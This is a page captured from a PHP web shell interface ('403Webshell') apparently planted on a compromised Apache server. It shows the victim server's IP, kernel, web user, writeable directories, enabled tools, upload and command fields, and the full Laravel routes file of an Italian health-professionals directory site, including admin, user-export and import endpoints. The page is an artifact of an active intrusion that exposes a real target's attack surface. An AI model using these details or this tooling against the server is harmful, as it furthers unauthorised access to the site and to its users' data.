403Webshell
Server IP : 46.62.235.243  /  Your IP : 216.73.216.217
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux Linkabili3Dicembre 6.8.0-100-generic #100-Ubuntu SMP PREEMPT_DYNAMIC Tue Jan 13 16:40:06 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/linkabili/routes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/linkabili/routes/web.php
<?php

/*
  |--------------------------------------------------------------------------
  | Web Routes
  |--------------------------------------------------------------------------
  |
  | Here is where you can register web routes for your application. These
  | routes are loaded by the RouteServiceProvider within a group which
  | contains the "web" middleware group. Now create something great!
  |
 */

Auth::routes([
    'register' => true,
    'verify' => true,
    'reset' => true
]);

Route::get('logout', function () {
    Auth::logout();
    return redirect('/');
});

Route::get('/email/resend', 'Auth\VerificationController@resend');

Route::get('/', 'Frontend\HomeController@index');

Route::get('/share-session-wp', [App\Http\Controllers\Api\AuthController::class, 'shareWordpressLogin']);

Route::get('/validation-in-progress', function () {

    return view("frontend.static.validation_progress");
});
Route::get('/about', function () {
    return view("frontend.static.about");
});

Route::get('/contact', function () {
    return view("frontend.static.contactus");
});

Route::group(['namespace' => 'Frontend'], function () {
    Route::any('/ajax/getSector', 'HomeController@getSector');
    Route::any('/ajax/ajaxGetProfession', 'UserController@ajaxGetProfession');
    Route::any('/ajax/ajaxGetSpecialition/{id}', 'UserController@ajaxGetSpecialition');
    Route::any('/ajax/ajaxGetStates', 'UserController@ajaxGetStates');
    Route::any('/ajax/ajaxGetRegion', 'UserController@ajaxGetRegion');
    Route::any('/ajax/ajaxGetProvincia/{id}', 'UserController@ajaxGetProvincia');
    Route::any('/ajax/ajaxGetStatesByShortName/{id}', 'UserController@ajaxGetStatesByShortName');
    Route::any('/subscribe-newsletter', 'NewsletterController@subscribeNewsletter');

    Route::any('/ajax/getCitiesFromProvinceId/{id}', 'UserController@getCitiesFromProvinceId');
    Route::any('/ajax/getCities', 'UserController@getCities');


    Route::any('/ajax/ajaxGetPathology', 'UserController@ajaxGetPathologySimple');
    Route::any('/ajax/ajaxGetMedicalCenters', 'UserController@ajaxGetMedicalCenters');
    Route::any('/ajax/ajaxGetEts', 'UserController@ajaxGetEts');

    Route::any('/ajax/ajaxGetSpecialitionMedicalCenter/{id}', 'UserController@ajaxGetSpecialitionMedicalCenter');
    Route::any('/ajax/ajaxGetService', 'UserController@ajaxGetService');
    Route::any('/ajax/ajaxGetCertification', 'UserController@ajaxGetCertification');
    Route::get('/profile', 'UserController@profile')->name('profile');
    Route::post('/appointment/{id}', 'UserController@appointmentProfessionist');
    Route::get('/detail/{slug}', 'UserController@detailProfessionist');

    Route::post('/review', 'UserController@review');

    Route::any('/ajax/ajaxGetUsersCollaboration', 'UserController@ajaxGetUsersCollaboration');
    Route::any('/ajax/ajaxGetUsersPartnership', 'UserController@ajaxGetUsersPartnership');


    Route::get('/profile/send-request-collaboration', 'UserController@IndexSendRequestCollaboration');

    Route::get('/profile/send-request-collaboration/{id}/{collaboration_id}/{status}', 'UserController@gestRequestCollaboration');

    Route::post('/profile/send-request-collaboration', 'UserController@SendRequestCollaboration');


    Route::get('/profile/send-request-partnership', 'UserController@IndexSendRequestPartnership')->name('showRichiestePartnership');

    Route::get('/profile/send-request-partnership/{id}/{partnership_id}/{status}', 'UserController@changePartnershipStatus');
    Route::get('/profile/send-request-partnership-delete/{id}/{partnership_id}/{status}', 'UserController@changePartnershipStatusDelete');
    Route::post('/profile/send-request-partnership', 'UserController@SendRequestPartnership');


    Route::any('/ajax/ajaxGetNotSpecializationProfession', 'UserController@ajaxGetNotSpecializationProfession');
    Route::post('/send_feedback', 'HomeController@sendFeed');

    Route::group(['middleware' => 'auth'], function () {
        Route::post('/profile/update-password', 'UserController@updatePassword');
        Route::post('/images/images-save', 'UploadImagesController@store');

        Route::post('/images/certification-save', 'UploadImagesController@storeCertification');
        Route::post('/images/certification-delete', 'UploadImagesController@deleteCertification');
        Route::post('/images/document-save', 'UploadImagesController@storeDocument');
        Route::post('/images/document-delete', 'UploadImagesController@deleteDocument');

        Route::post('/images/brochure-delete', 'UploadImagesController@deleteBrochure');
        Route::post('/check-message', 'UserController@checkMessage');
        Route::post('/check-partnership', 'UserController@checkPartnership');
        Route::post('/check-partnership-received', 'UserController@checkPartnershipReceived');
        Route::post('/check-collaboration', 'UserController@checkcollaboration');
        Route::post('/images/images-save-brochure', 'UploadImagesController@storeBrochure');
        Route::post('/profile/update-profile-detail', 'UserController@updateProfileDetail');
        Route::get('/profile-change-password', 'UserController@ChangePassword');
    });
});

Route::group(['prefix' => 'panel', 'middleware' => ['auth', 'verified', 'check_permission'], 'namespace' => 'Backend'], function () {


    Route::get('/', 'DashboardController@index')->name('dashboard');
    Route::get('/profile', 'ProfileController@index')->name('profile');
    Route::post('/profile/update', 'ProfileController@update');
    Route::post('/profile/update-password', 'ProfileController@updatePassword');


    Route::any('/ajax/ajaxGetPathologies', 'PathologyController@ajaxGetPathology');
    Route::resource('/pathologies', 'PathologyController');


    Route::any('/ajax/ajaxGetTags', 'TagController@ajaxGetTags');
    Route::resource('/tags', 'TagController');

    Route::any('/ajax/ajaxGetMedicalCentersSpecialization', 'SpecializationMedicalCenterController@ajaxGetMedicalCentersSpecialization');
    Route::resource('/medical-centers-specialization', 'SpecializationMedicalCenterController');


    Route::any('/ajax/ajaxGetProfessionSpecialization', 'ProfessionsSpecializationController@ajaxGetProfessionSpecialization');
    Route::resource('/professions-specialization', 'ProfessionsSpecializationController');

    Route::any('/ajax/ajaxGetAssociationProfessionSpecialization', 'ProfessionController@ajaxGetAssociationProfessionSpecialization');
    Route::any('/ajax/ajaxGetProfession', 'ProfessionController@ajaxGetProfession');
    Route::resource('/professions', 'ProfessionController');


    Route::any('/ajax/ajaxGetCertification', 'CertificationController@ajaxGetCertification');
    Route::resource('/certifications', 'CertificationController');


    Route::any('/ajax/ajaxGetService', 'ServiceController@ajaxGetService');
    Route::resource('/services', 'ServiceController');


    Route::any('/ajax/ajaxGetMedicalCenters', 'MedicalCenterController@ajaxGetMedicalCenters');
    Route::any('/ajax/ajaxGetAssociationMedicalCentersSpecialization', 'MedicalCenterController@ajaxGetAssociationMedicalCentersSpecialization');
    Route::resource('/medical-centers', 'MedicalCenterController');


    Route::any('ajax/listUser', 'UserController@ajaxListUser');
    Route::post('ajax/users/change', 'UserController@change');
    Route::post('/users/resend/{id}', 'UserController@resendEmail');
    Route::resource('/users', 'UserController');


    Route::post('/ajax/ajaxGetContactController', 'ContactController@ajaxGetContactController');
    Route::resource('/contacts', 'ContactController');


    Route::post('/ajax/ajaxGetKeywords', 'KeywordController@ajaxGetKeywords');
    Route::resource('/keywords', 'KeywordController');


    Route::any('/ajax/ajaxGetPathologySimple', 'PathologyController@ajaxGetPathologySimple');


    Route::post('/ajax/ajaxGetAssociationProfessionsPathology', 'AssociationPathologyProfessionController@ajaxGetAssociationProfessionsPathology');
    Route::resource('/pathology-professional', 'AssociationPathologyProfessionController');

    Route::post('/ajax/ajaxGetAssociationProfessionService', 'AssociationProfessionServiceController@ajaxGetAssociationProfessionService');
    Route::resource('/profession-service', 'AssociationProfessionServiceController');
    Route::resource('/pathology-service', 'AssociationProfessionServiceController');


    Route::post('/ajax/ajaxGetAssociationPathologyMedicalCenter', 'AssociationPathologyMedicalCenterController@ajaxGetAssociationPathologyMedicalCenter');
    Route::resource('/medical-center-pathology', 'AssociationPathologyMedicalCenterController');

    Route::post('/ajax/ajaxGetAssociationServiceMedicalCenter', 'AssociationServiceMedicalCenterController@ajaxGetAssociationServiceMedicalCenter');
    Route::resource('/medical-center-service', 'AssociationServiceMedicalCenterController');

    Route::get('/feedback', 'FeedBackController@index');
    Route::get('/reviews', 'ReviewController@index');
    Route::get('/guides', 'GuideController@index');


    Route::get('/ajax/ajaxGetPathologyUser/{id}', 'UserController@ajaxGetPathologyUser');
    Route::get('/ajax/ajaxGetPathologyMedicalCenter/{id}', 'UserController@ajaxGetPathologyMedicalCenter');
    Route::get('/ajax/ajaxGetServiceUser/{id}', 'UserController@ajaxGetServiceUser');
    Route::get('/ajax/ajaxGetServiceMedicalCenter/{id}', 'UserController@ajaxGetServiceMedicalCenter');

    Route::get('/export-list-user', 'UserController@exportListUser');


    Route::any('/ajax/verificareferenza', 'UserController@ajaxVerificaReferenza');
    Route::any('/ajax/ajaxGetCollaboration', 'CollaborationController@ajaxGetCollaboration');
    Route::get('/change-status-collaboration/{id}/{collaboration_id}/{status}', 'CollaborationController@changeStatusCollaboration');
    Route::resource('/collaborations', 'CollaborationController');

    Route::any('/ajax/ajaxGetPartnership', 'PartnershipController@ajaxGetPartnership');
    Route::get('/change-status-partnership/{id}/{partnership_id}/{status}', 'PartnershipController@changeStatusPartnership');
    Route::get('/change-status-review/{id}/{status}', 'ReviewController@changeStatus');
    Route::get('/delete-review/{id}', 'ReviewController@remove');

    Route::resource('/partnerships', 'PartnershipController');

    Route::any('/ajax/ajaxGetReviews', 'ReviewController@ajaxGetReviews');
    Route::any('/ajax/ajaxGetGuides', 'GuideController@ajaxGetGuides');


    Route::post('/images/images-save-brochure', 'UploadImagesController@storeBrochure');

    Route::post('/import-users', 'ImportController@ajaxImportUser');
    Route::post('/import-guide', 'GuideController@ajaxImportGuide');
    Route::post('/edit-guide', 'GuideController@ajaxEditGuide');
    Route::any('/remove-guide/{id}', 'GuideController@delete');


});


Youez - 2016 - github.com/yon3zu
LinuXploit